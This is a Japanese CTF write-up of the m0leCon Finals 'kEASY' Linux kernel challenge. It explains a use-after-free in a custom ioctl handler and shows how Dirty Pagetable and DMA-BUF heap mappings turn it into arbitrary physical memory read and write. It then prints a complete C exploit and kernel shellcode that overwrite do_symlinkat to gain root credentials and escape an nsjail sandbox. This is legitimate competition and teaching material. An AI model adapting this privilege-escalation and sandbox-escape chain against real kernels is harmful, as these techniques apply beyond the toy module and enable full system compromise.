先日、イタリアのトリノ工科大学で開催されたm0leCon Finals CTFに std::weak_ptr<moon>
*1で参加しました。
結果は予選を勝ち抜いた10チーム中6位とまずまずの成績でしたが、人数制限がないCTFに少人数で突撃したにしては良い結果だったと信じています🥺
さて、競技中にはいくつかの問題を解きましたが、中でもkEASYというLinux kernel exploitの問題が面白かったので、利用した攻撃テクニックについて久しぶりに紹介します。
以下が配布ファイルのリンクです。
配布ファイル:
kernel.conf rootfs.cpio.gz bzImage run.sh keasy.c keasy.h
セキュリティ機構
KASLR, SMAP, SMEP, KPTIは有効です。
qemu-system-x86_64 \ -kernel bzImage \ -cpu qemu64,+smep,+smap,+rdrand \ -m 4G \ -smp 4 \ -initrd rootfs.cpio.gz \ -hda flag.txt \ -append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1" \ -monitor /dev/null \ -nographic \ -no-reboot
SLABのfreelistのランダム化やハードニング等のセキュリティ機構も入っています。 さらに、与えられるシェル自体もnsjailでサンドボックス化されており、多くのシステムコールがseccompで禁止されていたり、プロセス数のようなリソースへの制限が付いていたり、厳しい設定です。
ソースコード
実質ioctlのハンドラだけが定義されたカーネルモジュールが動いています。 ioctlハンドラでは以下の操作が定義されています。
static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { long ret = -EINVAL; struct file *myfile; int fd; if (!enabled) { goto out; } enabled = 0; myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0); fd = get_unused_fd_flags(O_CLOEXEC); if (fd < 0) { ret = fd; goto err; } fd_install(fd, myfile); if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) { ret = -EINVAL; goto err; } ret = 0; return ret; err: fput(myfile); out: return ret; }
[easy]
という名前の仮想的なファイルが作られ、それに対してファイルディスクリプタが割り当てられます。
ファイルディスクリプタを設定したら、その番号をユーザー空間のバッファに書き込み、終了します。
なお、この機能はブートしてから1度だけ*2使えます。
脆弱性
fd_install
でファイルディスクリプタを設定したあと、copy_to_user
が失敗するとerr
にジャンプし、fput
が呼ばれます。
fput
はファイルの参照カウンタを減らしますが、今回は作った直後なのでfput
を呼ぶと参照カウンタが0になり、ファイルに割り当てられた構造体が解放されます。
つまり、copy_to_user
が失敗すると、ユーザー空間にファイルディスクリプタが割り当てられているにも関わらずファイル自体は解放され、Use-after-Freeが発生します。
脆弱性の発火
マップされていないアドレスを渡し、copy_to_user
を失敗させれば簡単にUse-after-Freeが起きます。
ファイルディスクリプタは空いている最も小さい値になるので、ioctlが失敗しても特定可能です。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> void fatal(const char *msg) { perror(msg); exit(1); } int main() { int fd = open("/dev/keasy", O_RDWR); if (fd == -1) fatal("/dev/keasy"); int ezfd = fd + 1; if (ioctl(fd, 0, 0xdeadbeef) == 0) fatal("ioctl did not fail"); char buf[4]; read(ezfd, buf, 4); return 0; }
実行すると、次のように解放済みのファイルを参照してクラッシュします。
今回の問題設定が難しいのは、UAFが起きるオブジェクトがgenericなslab cacheではなく、dedicatedなslab cache [1]で発生するUAFであるという点です。
ファイル構造体file
はfiles_cache
という専用のslabキャッシュを利用して確保されます。
# cat /proc/slabinfo | grep files_cache files_cache 920 920 704 23 4 : tunables 0 0 0 : slabdata 40 40 0
kmalloc
やkzalloc
などとは違い、専用のキャッシュが用意されています。
したがって、Use-after-Freeが起きても通常は他のオブジェクトが重ならないため、exploitが困難です。
専用キャッシュを持つ構造体で発生するHeap Buffer OverflowやUse-after-Freeなどの脆弱性に対する攻撃をcross-cache attackと呼びます。 cross-cache attackに関する攻撃にも様々な種類があり、Dirty Cred [2]やDirty Pagetableなどが一例です。
Cross-cache attackの原理は単純ですが、ここではUse-after-Freeにおける攻撃について説明します。 まず、下図①②のようにdedicatedキャッシュで使われる構造体をsprayします。
次に③のように、UAFが起きるオブジェクトを解放します*3。 最後にsprayしたオブジェクトをすべて解放すると、slabキャッシュ中のすべてのオブジェクトが解放されるため、このslabページ自体も解放されます。
ページはLinuxのbuddy systemで管理されており、他の用途でのページ要求で同じアドレスが再利用される可能性があります。 したがって、Use-after-Freeが起きているfile構造体を、関係のない別の構造体にかぶせることができます。
Dirty Credはこれを利用して、プロセスの権限を管理するcred構造体を書き換える攻撃です。 今回はfile構造体なので、何か別の攻撃を使う必要があります。
今回の脆弱性をexploitするにあたって、Dirty Pagetableと呼ばれる手法[3]を使いました。
原理
Dirty Credがcred構造体を攻撃対象に設定したように、Dirty Pagetableはページテーブルを攻撃対象に設定します。
x86-64のLinuxでは、仮想アドレスを物理アドレスに変換するために、通常4段のページテーブルを使用しています。 Dirty Pagetableで攻撃対象とするのは、このうち物理メモリ直前の最後の段階にあたるPTE (Page Table Entry) です。 Linuxでは新しいPTEが必要となったとき、PTE用のページもまたBuddy Systemから確保されます。
したがって、Use-after-Freeが起きているページにPTEを確保させることが可能です。 図で表すと次のような状態です*4。
Use-after-Freeが起きているファイル構造体をPTEに重ねるまでのコードは次のようになります。 ここで、今回はマルチスレッド環境で動作しているため、同じCPUのslabキャッシュが使われるように利用するCPUを1つに限定することを忘れないように注意しましょう。
void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } ... int main() { int file_spray[N_FILESPRAY]; void *page_spray[N_PAGESPRAY]; bind_core(0); int fd = open("/dev/keasy", O_RDWR); if (fd == -1) fatal("/dev/keasy"); for (int i = 0; i < N_PAGESPRAY; i++) { page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0); if (page_spray[i] == MAP_FAILED) fatal("mmap"); } puts("[+] Spraying files..."); for (int i = 0; i < N_FILESPRAY/2; i++) if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/"); int ezfd = file_spray[N_FILESPRAY/2-1] + 1; if (ioctl(fd, 0, 0xdeadbeef) == 0) fatal("ioctl did not fail"); for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++) if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/"); puts("[+] Releasing files..."); for (int i = 0; i < N_FILESPRAY; i++) close(file_spray[i]); puts("[+] Allocating PTEs..."); for (int i = 0; i < N_PAGESPRAY; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j*0x1000) = 'A' + j; getchar(); return 0; }
fput
直前のファイル構造体の様子は下図です。
PTEのsprayが終わると、次のように同じアドレスにPTEらしいデータが確保されていることがわかります。
物理メモリ上には次のように我々が書き込んだデータがあるため、ユーザー空間からsprayしたページを指しているPTEが確保されています。
理想的にはここからPTEを書き換え、ユーザー空間の仮想アドレスがカーネル空間の物理アドレスを指すように調整できると嬉しいです。 PTEを書き換える方法はUse-after-Freeが起きるオブジェクトに依存しますが、ここではfile構造体の場合を考えます。
file構造体における攻撃方法
file構造体には直接操作できるフィールドが少ないので、攻撃が少し難しいです。
本家解説[3]ではdup
を使った方法が記載されているので、ここではそれを使います。
file構造体の先頭からオフセット0x38の位置に、f_count
というフィールドがあります。
struct file { union { struct llist_node f_llist; struct rcu_head f_rcuhead; unsigned int f_iocb_flags; }; spinlock_t f_lock; fmode_t f_mode; atomic_long_t f_count; struct mutex f_pos_lock; ...
f_count
はそのfile構造体の参照カウンタであり、dup
システムコールで新しいfdに割り当てるとインクリメントされます。
したがって、PTE中のポインタをインクリメントするprimitiveが手に入りました。
では、ここで単純にdup
をたくさん呼んで、PTE中のポインタをカーネル空間の物理アドレスに向ければ良いでしょうか?
実はそう単純ではありません。 まず、KASLRが有効な場合、ほとんどの物理アドレスがランダム化されています。 また、ユーザー空間で確保される物理メモリの多くはカーネル空間で確保される物理メモリよりも低いアドレスに位置し、その距離も遠いです。
今回の環境ではプロセスが持つことのできるファイルディスクリプタは65535が上限なので、多くてもそれ以上のインクリメントはできません。
fork
を使ってプロセスを分離すれば解決できそうですが、nsjailの制約により起動できるプロセスはシェルと実行ファイルの2つだけなので、実際のところ不可能です。
したがって、ユーザー空間の物理アドレスをカーネル空間の物理アドレスに直接書き換えることは難しく、他の方法を探す必要があります。
物理メモリ上でのUAF
今、UAFが発生しているfile構造体とPTEが同じ物理アドレスにあるため、下図のような状態になっています。
ここで、dup
を0x1000回呼ぶと、PTE中のf_count
に該当する位置のポインタがずれるため、2つのPTEのエントリが同じ物理アドレスを指します。
インクリメントしたあとに、アクセスしてみて本来と異なる内容が書かれているページを見つけたら、それがPTEを書き換えたページです。 ここまでをコードにすると以下のようになります。
for (int i = 0; i < 0x1000; i++) if (dup(ezfd) < 0) fatal("dup"); puts("[+] Searching for overlapping page..."); void *evil = NULL; for (int i = 0; i < N_PAGESPRAY; i++) { if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { evil = page_spray[i] + 0x7000; printf("[+] Found overlapping page: %p\n", evil); break; } } if (evil == NULL) fatal("target not found :(");
実行すると下図のようにoverlapが発生したページを検出できました。
また、検出したページの物理アドレスを調べると、2つのユーザー空間の仮想アドレスが同じ物理アドレスを指していることがわかります。
なお、ここではoverlapしていることが重要なのではなく、sprayしたPTEの中から破壊できるPTEに対応するユーザー空間のアドレスを見つけられたことが重要です。
任意物理アドレス読み書きの構築
先程も説明したように、カーネル空間とユーザー空間の物理メモリの距離の問題により、dup
を使っても物理メモリのアドレスをカーネル空間の物理メモリに届かせることは困難です。
そこで、今回はDMA-BUF Heapを利用しました((io_uring
なども使えるとありますが、nsjail下なのでDMAを利用しました。))。
DMA-BUFはデバイス間で高速かつ安全に共有可能なメモリとして導入された機能 [4] です。
DMAデバイス /dev/dma_heap/system
を開くことでDMA-BUF Heapを操作できます。
これに対して DMA_HEAP_IOCTL_ALLOC
をioctl
で呼ぶことで、ユーザー空間にマップ可能なメモリを確保できます。
このときioctl
でマップされるページは、通常のmmap
で確保するページとは異なり、PTEそのものに近い物理メモリ領域(詳細は [3] を参照)に確保されます。
ioctl
の時点でカーネル空間に近い物理アドレスでメモリが確保され、それをmmap
でユーザー空間の仮想アドレスに割り当てられる、というイメージです。
したがって、f_count
でインクリメントできるPTEのエントリとしてDMA-BUF Heapのページを用意しておくと、次のような状態になります。
(別のPTEが隣接するために、PTE sprayの途中でDMA-BUF Heapを確保する必要があります。)
すでにPTEを破壊できるユーザー空間のページを知っているので、これをmunmap
してからDMA-BUF Heapのページをmap
すれば、上図のようにf_count
がDMA-BUF HeapのPTEに被るようにできます。
さて、ここで重要なのは、DMA-BUF Heapで確保したページが別のPTEと隣接している点です。
したがって、再度dup
でf_count
を0x1000だけインクリメントすると、ユーザー空間にマップされたDMA-BUF Heapのページが、PTEのページに向きます。
DMA-BUF Heapで確保したページはユーザー空間から自由に読み書きできるため、PTEを完全に破壊するprimitiveが手に入りました。 したがって、ユーザー空間のPTEを破壊し、カーネル空間を含む自由な物理アドレスに向けることができます。
このような原理で任意物理アドレス読み書きを手に入れられます。
DMA-BUFで確保したページをPTEと隣接させるまでのコードは以下のようになります。(PTEのspray途中にDMA-BUFを確保する必要があるので、sprayから少しコードが変わります。)
puts("[+] Allocating PTEs..."); for (int i = 0; i < N_PAGESPRAY/2; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j*0x1000) = 'A' + j; int dma_buf_fd = -1; struct dma_heap_allocation_data data; data.len = 0x1000; data.fd_flags = O_RDWR; data.heap_flags = 0; data.fd = 0; if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) fatal("DMA_HEAP_IOCTL_ALLOC"); printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd); for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j*0x1000) = 'A' + j; for (int i = 0; i < 0x1000; i++) if (dup(ezfd) < 0) fatal("dup"); puts("[+] Searching for overlapping page..."); void *evil = NULL; for (int i = 0; i < N_PAGESPRAY; i++) { if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { evil = page_spray[i] + 0x7000; printf("[+] Found overlapping page: %p\n", evil); break; } } if (evil == NULL) fatal("target not found :("); puts("[+] Remapping..."); munmap(evil, 0x1000); void *dma = mmap(evil, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0); *(char*)dma = '0';
実行すると、次のようにファイル構造体があった場所にPTEが確保されており、さらにf_count
に該当する箇所にユーザー空間にマップしたDMA-BUFへの物理アドレスが位置します。
また、DMA-BUFの物理アドレスの次のページには、別のPTEがあることがわかります。
したがって、あとはdup
を0x1000回呼べば、どこかのPTEを自由に書き換えられます。
for (int i = 0; i < 0x1000; i++) if (dup(ezfd) < 0) fatal("dup"); printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);
物理ベースアドレスのリーク
物理アドレスは読み書きが自由で、失敗することもありません。 そのため、単純に特定の機械語やマジックナンバーなどを検索するだけでカーネル空間の物理メモリを探索できます。
しかし、2024年も近い現在でも、Linux・Windows両方とも固定の物理アドレスが存在します。
このあたりに見えるページが固定アドレスで、ページテーブルと思しきデータが残っています。 (しふくろ先生がHITCON中に見つけたページです。) カーネル空間への物理アドレスを持っているので、ここからカーネルの物理ベースアドレスがリークできます。
void *wwwbuf = NULL; *(size_t*)dmabuf = 0x800000000009c067; for (int i = 0; i < N_PAGESPRAY; i++) { if (page_spray[i] == evil) continue; if (*(size_t*)page_spray[i] > 0xffff) { wwwbuf = page_spray[i]; printf("[+] Found victim page table: %p\n", wwwbuf); break; } } size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000; printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);
nsjailの脱出
今回は権限昇格だけでなく、nsjailから脱出する必要があります。 複雑な処理が必要なので、カーネル空間でシェルコードを実行しましょう。
物理メモリに対する読み書きが実現できるので、カーネル中の適当な機械語をシェルコードで上書きすれば良いです。
呼べるシステムコールが限られているので注意が必要ですが、今回はdo_symlinkat
を書き換えました。
この関数はC言語のsymlink
関数を呼ぶと到達します。
シェルコードの内容は参考文献[5]を参考に構築しました。
init_cred equ 0x1445ed8 commit_creds equ 0x00ae620 find_task_by_vpid equ 0x00a3750 init_nsproxy equ 0x1445ce0 switch_task_namespaces equ 0x00ac140 init_fs equ 0x1538248 copy_fs_struct equ 0x027f890 kpti_bypass equ 0x0c00f41 _start: endbr64 call a a: pop r15 sub r15, 0x24d4c9 ; commit_creds(init_cred) [3] lea rdi, [r15 + init_cred] lea rax, [r15 + commit_creds] call rax ; task = find_task_by_vpid(1) [4] mov edi, 1 lea rax, [r15 + find_task_by_vpid] call rax ; switch_task_namespaces(task, init_nsproxy) [5] mov rdi, rax lea rsi, [r15 + init_nsproxy] lea rax, [r15 + switch_task_namespaces] call rax ; new_fs = copy_fs_struct(init_fs) [6] lea rdi, [r15 + init_fs] lea rax, [r15 + copy_fs_struct] call rax mov rbx, rax ; current = find_task_by_vpid(getpid()) mov rdi, 0x1111111111111111 ; will be fixed at runtime lea rax, [r15 + find_task_by_vpid] call rax ; current->fs = new_fs [8] mov [rax + 0x740], rbx ; kpti trampoline [9] xor eax, eax mov [rsp+0x00], rax mov [rsp+0x08], rax mov rax, 0x2222222222222222 ; win mov [rsp+0x10], rax mov rax, 0x3333333333333333 ; cs mov [rsp+0x18], rax mov rax, 0x4444444444444444 ; rflags mov [rsp+0x20], rax mov rax, 0x5555555555555555 ; stack mov [rsp+0x28], rax mov rax, 0x6666666666666666 ; ss mov [rsp+0x30], rax lea rax, [r15 + kpti_bypass] jmp rax int3
以下が最終的なexploitです。
#define _GNU_SOURCE #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #define N_PAGESPRAY 0x200 #define N_FILESPRAY 0x100 #define DMA_HEAP_IOCTL_ALLOC 0xc0184800 typedef unsigned long long u64; typedef unsigned int u32; struct dma_heap_allocation_data { u64 len; u32 fd; u32 fd_flags; u64 heap_flags; }; void fatal(const char *msg) { perror(msg); exit(1); } void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } unsigned long user_cs, user_ss, user_rsp, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); } int fd, dmafd, ezfd = -1; static void win() { char buf[0x100]; int fd = open("/dev/sda", O_RDONLY); if (fd < 0) { puts("[-] Lose..."); } else { puts("[+] Win!"); read(fd, buf, 0x100); write(1, buf, 0x100); puts("[+] Done"); } exit(0); } int main() { int file_spray[N_FILESPRAY]; void *page_spray[N_PAGESPRAY]; bind_core(0); save_state(); int fd = open("/dev/keasy", O_RDWR); if (fd == -1) fatal("/dev/keasy"); int dmafd = creat("/dev/dma_heap/system", O_RDWR); if (dmafd == -1) fatal("/dev/dma_heap/system"); for (int i = 0; i < N_PAGESPRAY; i++) { page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL), 0x8000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED, -1, 0); if (page_spray[i] == MAP_FAILED) fatal("mmap"); } puts("[+] Spraying files..."); for (int i = 0; i < N_FILESPRAY/2; i++) if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/"); int ezfd = file_spray[N_FILESPRAY/2-1] + 1; if (ioctl(fd, 0, 0xdeadbeef) == 0) fatal("ioctl did not fail"); for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++) if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/"); puts("[+] Releasing files..."); for (int i = 0; i < N_FILESPRAY; i++) close(file_spray[i]); puts("[+] Allocating PTEs..."); for (int i = 0; i < N_PAGESPRAY/2; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j*0x1000) = 'A' + j; int dma_buf_fd = -1; struct dma_heap_allocation_data data; data.len = 0x1000; data.fd_flags = O_RDWR; data.heap_flags = 0; data.fd = 0; if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) fatal("DMA_HEAP_IOCTL_ALLOC"); printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd); for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j*0x1000) = 'A' + j; for (int i = 0; i < 0x1000; i++) if (dup(ezfd) < 0) fatal("dup"); puts("[+] Searching for overlapping page..."); void *evil = NULL; for (int i = 0; i < N_PAGESPRAY; i++) { if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { evil = page_spray[i] + 0x7000; printf("[+] Found overlapping page: %p\n", evil); break; } } if (evil == NULL) fatal("target not found :("); puts("[+] Remapping..."); munmap(evil, 0x1000); void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0); *(char*)dmabuf = '0'; for (int i = 0; i < 0x1000; i++) if (dup(ezfd) < 0) fatal("dup"); printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf); void *wwwbuf = NULL; *(size_t*)dmabuf = 0x800000000009c067; for (int i = 0; i < N_PAGESPRAY; i++) { if (page_spray[i] == evil) continue; if (*(size_t*)page_spray[i] > 0xffff) { wwwbuf = page_spray[i]; printf("[+] Found victim page table: %p\n", wwwbuf); break; } } size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000; printf("[+] Physical kernel base address: 0x%016lx\n", phys_base); puts("[+] Overwriting do_symlinkat..."); size_t phys_func = phys_base + 0x24d4c0; *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067; char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc}; void *p; p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8); *(size_t*)p = getpid(); p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8); *(size_t*)p = (size_t)&win; p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8); *(size_t*)p = user_cs; p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8); *(size_t*)p = user_rflags; p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8); *(size_t*)p = user_rsp; p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8); *(size_t*)p = user_ss; memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode)); puts("[+] GO!GO!"); printf("%d\n", symlink("/jail/x", "/jail")); puts("[-] Failed..."); close(fd); getchar(); return 0; }
わいわい
0opsにfirst bloodを取られましたが、我々2チームしか解けていなかったので嬉しかったです*5。
pwnの中ではptmoonというqemu escapeの問題だけ時間が足りず解けなかった*6ので、復習したいです。
1: Linux Slab Allocator - slabアロケータについての説明
2: 手を動かして理解するLinux Kernel Exploit - Dirty Credについての説明
3: Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel - Dirty Pagetableの本家解説
4: DMA-BUF Heaps - DMA-BUF Heapについての説明
5: CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel - nsjail回避の参考文献